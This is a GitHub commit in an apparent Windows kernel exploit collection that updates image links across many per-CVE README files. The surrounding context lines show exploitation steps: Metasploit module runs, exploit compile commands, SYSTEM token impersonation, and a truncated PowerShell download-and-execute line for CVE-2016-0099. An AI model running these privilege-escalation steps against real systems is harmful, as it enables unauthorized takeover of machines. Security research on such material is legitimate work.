Skip to content

Commit

Permalink
Modify file path error:tropical_drink:
Browse files Browse the repository at this point in the history
  • Loading branch information
Ascotbe committed Jun 13, 2021
1 parent 4742918 commit a73adf5
Show file tree
Hide file tree
Showing 57 changed files with 90 additions and 102 deletions.
4 changes: 2 additions & 2 deletions CVE-2003-0352/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -34,9 +34,9 @@ set RHOST 192.168.1.17
run
```

![image-20200823200752021](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2003-0352_win2000_x86_msf.png?raw=true)
![image-20200823200752021](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf.png)

查看系统信息

![CVE-2003-0352_win2000_x86_msf2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2003-0352_win2000_x86_msf2.png?raw=true)
![CVE-2003-0352_win2000_x86_msf2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf2.png)

2 changes: 1 addition & 1 deletion CVE-2008-1084/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@

测试系统Windows Server 2003 SP2 x86

![27](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2008-1084_win2003_x86.gif?raw=true)
![27](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-1084_win2003_x86.gif)

#### 分析文章
- https://github.com/lyshark/Windows-exploits/blob/master/Windows%20%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%20ms08025%20%E5%88%86%E6%9E%90.7z
Expand Down
2 changes: 1 addition & 1 deletion CVE-2008-3464/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@

只找到可执行exe文件,测试系统Windows Server 2003 SP2 x86

![26](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2008-3464_win2003_x86.gif?raw=true)
![26](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-3464_win2003_x86.gif)

#### 分析文章
- https://bbs.pediy.com/thread-74811.htm
2 changes: 1 addition & 1 deletion CVE-2008-4037/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,5 +27,5 @@ set SMBHOST 192.168.1.14 #目标IP
run
```

![image-20200823142846532](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2008-4037_win2003_x86_msf.png?raw=true)
![image-20200823142846532](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)

2 changes: 1 addition & 1 deletion CVE-2008-4250/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ set RHOST 192.168.1.14
run
```

![image-20200823143331505](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2008-4250_win2003_x86_msf.png?raw=true)
![image-20200823143331505](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)

#### 分析文章
- https://bbs.pediy.com/thread-251219.htm
Expand Down
2 changes: 1 addition & 1 deletion CVE-2009-2532/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ set RHOSTS 192.168.1.13 #目标IP
run
```

![image-20200823134421895](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2009-2532_win2008_x86_msf.png?raw=true)
![image-20200823134421895](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2009-2532_win2008_x86_msf.png)

#### 分析文章
- https://www.giantbranch.cn/2017/08/26/Educatedscholar%E5%88%A9%E7%94%A8%E7%9A%84%E6%BC%8F%E6%B4%9Ems09-050%E5%88%86%E6%9E%90%E5%8F%8A%E5%85%B6%E5%88%A9%E7%94%A8%E7%9A%84shellcode%E5%88%86%E6%9E%90%E5%8F%8A%E4%B8%8Emsf%E5%88%A9%E7%94%A8%E5%AF%B9%E6%AF%94/
Expand Down
6 changes: 3 additions & 3 deletions CVE-2010-0233/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@

测试系统Windows Server 2003 SP2 x86

![25](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-0233_win2003_x86.gif?raw=true)
![25](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86.gif)

> msf利用
Expand All @@ -40,8 +40,8 @@ run

可以看到当前权限是最低的

![image-20200823123824229](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-0233_win2003_x86_msf.png?raw=true)
![image-20200823123824229](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf.png)

然后执行命令提权

![image-20200823123945054](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-0233_win2003_x86_msf2.png?raw=true)
![image-20200823123945054](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf2.png)
2 changes: 1 addition & 1 deletion CVE-2010-1897/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,5 +22,5 @@ win32k.sys中的Windows内核模式驱动程序无法正确验证伪句柄值

测试系统Windows Server 2003 SP2 x86

![24](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-1897_win2003_x86.gif?raw=true)
![24](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-1897_win2003_x86.gif)

4 changes: 2 additions & 2 deletions CVE-2010-3338/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,9 +25,9 @@ set SESSION 2
run
```

![image-20200822234422637](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-3338_win2008_x86_msf.png?raw=true)
![image-20200822234422637](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf.png)

然后就能提权成功了

![image-20200822234608009](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2010-3338_win2008_x86_msf2.png?raw=true)
![image-20200822234608009](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf2.png)

2 changes: 1 addition & 1 deletion CVE-2011-1249/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ i686-w64-mingw32-gcc CVE-2011-1249.c -o CVE-2011-1249.exe -lws2_32

测试系统Windows Server 2003 SP2 x86和Windows 7 SP1 x86都成功

![23](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2011-1249_win2003_x86.gif?raw=true)
![23](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1249_win2003_x86.gif)

#### 分析文章
- https://github.com/Madusanka99/OHTS/blob/master/IT16075504%20-OHTS%20Report.pdf
4 changes: 2 additions & 2 deletions CVE-2011-1974/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,9 +22,9 @@ i686-w64-mingw32-gcc CVE-2011-1974.c -o CVE-2011-1974.exe -lws2_32

测试系统Windows Server 2003 SP2 x86,首先需要用管理员修改注册表和开启服务

![image-20200822202222486](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2011-1974_win2003_x86.png?raw=true)
![image-20200822202222486](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.png)

接着切回普通用户

![22](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2011-1974_win2003_x86.gif?raw=true)
![22](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.gif)

2 changes: 1 addition & 1 deletion CVE-2011-2005/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@

测试系统Windows Server 2003 SP2 x86

![21](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2011-2005_win2003_x86.gif?raw=true)
![21](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-2005_win2003_x86.gif)

msf利用直接使用这个即可

Expand Down
2 changes: 1 addition & 1 deletion CVE-2012-0217/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,5 +23,5 @@

测试系统Windows Server 2008 R2 SP1 x64

![20](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2012-0217_win2008_x64.gif?raw=true)
![20](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2012-0217_win2008_x64.gif)

2 changes: 1 addition & 1 deletion CVE-2013-1332/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@

测试系统Windows Server 2003 SP2 x86

![19](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2013-1332_win2003_x86.gif?raw=true)
![19](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1332_win2003_x86.gif)

#### 分析文章
- https://www.anquanke.com/vul/id/1045064
Expand Down
6 changes: 3 additions & 3 deletions CVE-2013-1345/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,15 +31,15 @@ set SESSION 2 #你上线机器的session
run
```

![image-20200822151416515](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2013-1345_win7_x86.png?raw=true)
![image-20200822151416515](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win7_x86.png)

Windows Sever 2003 SP2 x86 和Windows Sever 2003 R2 SP2 x86都测试成功,但是利用文件没有源码只有exe可执行文件

Windows Sever 2003 SP2 x86 动图如下

![17](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2013-1345_win2003_x86.gif?raw=true)
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86.gif)

Windows Sever 2003 R2 SP2 x86 动图如下

![18](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2013-1345_win2003_x86_2.gif?raw=true)
![18](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86_2.gif)

4 changes: 2 additions & 2 deletions CVE-2014-1767/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,13 +27,13 @@
测试系统Windows 7 SP1 x86 ,测试exe文件和py脚本都可以正常利用

![16](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2014-1767_win7_x86.gif?raw=true)
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x86.gif)

> x64利用
测试系统Windows 7 SP1 x64 测试利用py脚本,exe文件有机率蓝屏

![17](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2014-1767_win7_x64.gif?raw=true)
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x64.gif)

#### 分析文章
- https://xz.aliyun.com/t/6770
Expand Down
2 changes: 1 addition & 1 deletion CVE-2014-4076/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ i586-mingw32msvc-gcc CVE-2014-4076.c -o CVE-2014-4076.exe

测试机器Windows Server 2003 SP2 x86

![16](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2014-4076_win2003_x86.gif?raw=true)
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4076_win2003_x86.gif)


#### 分析文章
Expand Down
4 changes: 2 additions & 2 deletions CVE-2014-4113/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,13 +32,13 @@
测试系统Windows 7 SP1 x86

![14](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2014-4113_win7_x86.gif?raw=true)
![14](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x86.gif)

> x64利用
测试系统Windows 7 SP1 x64

![15](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2014-4113_win7_x64.gif?raw=true)
![15](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x64.gif)

#### 分析文章
- https://xz.aliyun.com/t/4456
Expand Down
4 changes: 2 additions & 2 deletions CVE-2015-0003/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@

利用Windows 7 SP1 x86作为演示

![10](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-0003_win7_x86.gif?raw=true)
![10](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win7_x86.gif)

> x64利用
Expand All @@ -40,7 +40,7 @@

利用Windows Server 2008 R2 SP1 x64进行测试

![11](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-0003_win2008_x64.gif?raw=true)
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win2008_x64.gif)

#### 分析文章
- https://www.shuzhiduo.com/A/Vx5M1WrL5N/
Expand Down
2 changes: 1 addition & 1 deletion CVE-2015-0057/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@

对Windows 7 SP1 x86进行测试

![2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-0057_win7_sp1_x86.gif?raw=true)
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0057_win7_sp1_x86.gif)

#### 分析文章
- https://xz.aliyun.com/t/4549
Expand Down
4 changes: 2 additions & 2 deletions CVE-2015-1701/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,10 +24,10 @@
测试机器 Windows 7 SP1 x86

![12](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-1701_win7_x86.gif?raw=true)
![12](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win7_x86.gif)

> x64利用
测试使用Windows Server 2008 R2 SP1 x64

![13](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-1701_win2008_x64.gif?raw=true)
![13](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win2008_x64.gif)
2 changes: 1 addition & 1 deletion CVE-2015-2370/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ Trebuchet.exe c:\Users\ascotbe\Desktop\test.txt c:\Windows\System32\test1.txt

演示机器Windows 7 SP1 x86

![2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-2370_win7_x86.png?raw=true)
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2370_win7_x86.png)

#### 分析文章
- http://bobao.360.cn/learning/detail/584.html
Expand Down
2 changes: 1 addition & 1 deletion CVE-2015-2387/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,5 +31,5 @@ Adobe Type Manager字体驱动程序中的ATMFD.DLL允许本地用户通过精

演示系统Windows Server 2003 SP2 x86

![3](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-2387_win2003_sp2_x86.gif?raw=true)
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2387_win2003_sp2_x86.gif)

2 changes: 1 addition & 1 deletion CVE-2015-2546/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@

测试机器Windows 7 SP1 x86,当前只有x86版本的EXP,测试GIF图

![1](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2015-2546_win7_x86.gif?raw=true)
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2546_win7_x86.gif)

#### 分析文章
- http://drops.xmd5.com/static/drops/papers-9276.html
Expand Down
4 changes: 2 additions & 2 deletions CVE-2016-0041/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ run

可以看到如下的反弹shell

![CVE-2016-0041_win7_sp1_x64_01](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0041_win7_sp1_x64_01.png?raw=true)
![CVE-2016-0041_win7_sp1_x64_01](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_01.png)

接着使用提权漏洞

Expand All @@ -45,6 +45,6 @@ set session 2#你当前的session
run
```

![CVE-2016-0041_win7_sp1_x64_02](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0041_win7_sp1_x64_02.png?raw=true)
![CVE-2016-0041_win7_sp1_x64_02](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_02.png)

可以看到我们最后成为了SYSTEM权限
2 changes: 1 addition & 1 deletion CVE-2016-0051/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,5 +27,5 @@

测试机器Windows 7 SP1 x86。需要把**CVE-2016-0051_x86.zip**解压后的两个文件放到目标中

![8](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0051_win7_x86.gif?raw=true)
![8](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0051_win7_x86.gif)

2 changes: 1 addition & 1 deletion CVE-2016-0095/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@

测试Windows 7 SP1 x64的GIF图

![5](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0095_win7_x64.gif?raw=true)
![5](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0095_win7_x64.gif)

#### 分析文章
- https://xz.aliyun.com/t/6008
Expand Down
4 changes: 2 additions & 2 deletions CVE-2016-0099/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,9 +38,9 @@ powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('

GIF图如下

![6](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0099_win2008_x64_ps.gif?raw=true)
![6](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win2008_x64_ps.gif)

利用exe文件测试通杀x64和x86的所有版本,这边只录制Windows 7 SP1 x64版本的

![7](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-0099_win7_x64.gif?raw=true)
![7](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win7_x64.gif)

12 changes: 6 additions & 6 deletions CVE-2016-3225/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3225
Windows 7 SP1 x64测试中,使用`whoami /priv`命令查看发现并无**SeImpersonatePrivilege**特权烂土豆提权需要该特权为开启状态,所以测试的时候直接用管理员权限运行

![image-20200819140202765](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64.png?raw=true)
![image-20200819140202765](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.png)

利用MSF+烂土豆提权,首先我们假定机器已经上线,通过msf中自带的插件来识别当前系统中可以利用的EXP来进行提权

Expand All @@ -43,11 +43,11 @@ run

如果没有用管理员权限运行MSF生成的exe的话,脚本检测是这样的

![image-20200819112155945](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64_msf_1.png?raw=true)
![image-20200819112155945](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)

如果使用管理员权限运行的话检测是这样的,可以看到比上面多了个ms16_075

![image-20200819140819782](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64_msf_2.png?raw=true)
![image-20200819140819782](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)

编译好烂土豆的文件

Expand All @@ -71,11 +71,11 @@ list_tokens -u #列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌
```

![image-20200819141240274](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64_msf_3.png?raw=true)
![image-20200819141240274](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)

进入shell查看

![image-20200819141337651](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64_msf_4.png?raw=true)
![image-20200819141337651](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)

> 第二种利用方式
Expand All @@ -85,5 +85,5 @@ impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌

由于普通账号没有**SeImpersonatePrivilege**特权,这边用管理员账号来演示,利用程序**potatoNG.exe**直接上GIF图

![4](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3225_win7_x64.gif?raw=true)
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.gif)

2 changes: 1 addition & 1 deletion CVE-2016-3371/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3371

测试系统Windows 8.1 x64

![4](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-3371_win_8.1_x64.gif?raw=true)
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3371_win_8.1_x64.gif)

#### 项目来源

Expand Down
2 changes: 1 addition & 1 deletion CVE-2016-7255/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7255

通过ps脚本进行演示,直接上GIF图

![3](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2016-7255_win7_x86.gif?raw=true)
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-7255_win7_x86.gif)

#### 分析文章
- https://www.anquanke.com/post/id/85232
2 changes: 1 addition & 1 deletion CVE-2017-0101/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0101

测试Windows 7 SP1 x86通过,直接上GIF图

![2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2017-0101_win7_x86.gif?raw=true)
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0101_win7_x86.gif)

#### 分析文章
- https://paper.seebug.org/586/
Expand Down
Loading

0 comments on commit a73adf5

Please sign in to comment.